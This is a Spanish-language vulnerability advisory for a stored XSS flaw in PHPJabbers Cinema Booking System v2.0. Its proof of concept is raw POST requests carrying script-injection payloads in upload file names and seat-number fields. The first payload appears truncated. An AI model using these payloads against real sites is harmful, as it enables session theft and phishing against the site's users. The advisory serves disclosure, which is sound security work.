CVE-2024-57428

Existe una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en PHPJabbers Cinema Booking System v2.0 debido a la entrada sin sanitizar en los campos de subida de archivos (event_img, seat_maps) y en las configuraciones de numeración de asientos (number[new_X] en pjActionCreate). Los atacantes pueden inyectar JavaScript persistente, lo que puede derivar en phishing, inyección de malware y secuestro de sesión.

Parámetro vulnerable: event_img y seat_maps's file name

Impacto:

El XSS almacenado es más grave que el XSS reflejado, ya que afecta a todos los usuarios que acceden al contenido inyectado. Podría aprovecharse para ataques de phishing persistentes, robo de sesión o inyección de malware a una amplia base de usuarios.

Exploit - Prueba de Concepto (POC)

Cross-Site Scripting (XSS) Almacenado

XSS Almacenado en la Subida de Archivos

Payload: \">

POST /CinemaBookingDev/index.php?controller=pjAdminEvents&action=pjActionCreate HTTP/1.1
Host: 127.0.0.1
Content-Length: 38611
[SNIP]


------WebKitFormBoundaryKOsvqJhAGpZAt33t
Content-Disposition: form-data; name="event_img"; filename="luffy.jpg\">"
Content-Type: image/jpeg

NÚMERO DE ASIENTOS DE LA SALA DE CINE

Payload: "><script>alert(x)</script>

POST /CinemaBookingDev/index.php?controller=pjAdminVenues&action=pjActionCreate HTTP/1.1
Host: 127.0.0.1
Content-Length: 1812
[SNIP]


------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="seats_count"

11
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="number[new_1]"

1"><script>alert(1)</script>1
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="number[new_2]"

2"><script>alert(2)</script>2